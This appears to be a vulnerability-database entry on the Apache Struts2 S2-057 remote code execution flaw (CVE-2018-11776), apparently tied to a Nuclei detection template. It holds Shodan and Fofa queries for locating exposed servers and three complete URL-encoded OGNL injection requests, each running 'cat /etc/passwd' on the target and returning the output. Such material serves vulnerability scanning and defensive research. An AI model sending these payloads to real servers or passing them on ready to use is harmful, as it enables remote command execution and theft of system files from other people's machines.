| Title | Apache Struts2 S2-057 - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Remote code execution |
| Remediation | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2. |
| CVSS Score | 8.1 |
| EPSS Score | 0.94431 |
| CVE ID | CVE-2018-11776 |
| CWE ID | CWE-20 |
| Shodan Query | http.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report" |
| Fofa Query | body="struts problem report"title="struts2 showcase"body="apache struts" |
| Tags | cve cve2018 packetstorm apache rce struts kev vkev vuln |
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn’‘t have value and action set and in same time, its upper package have no or wildcard namespace.
GET /%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11776.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-11776.pcap
N/AN/A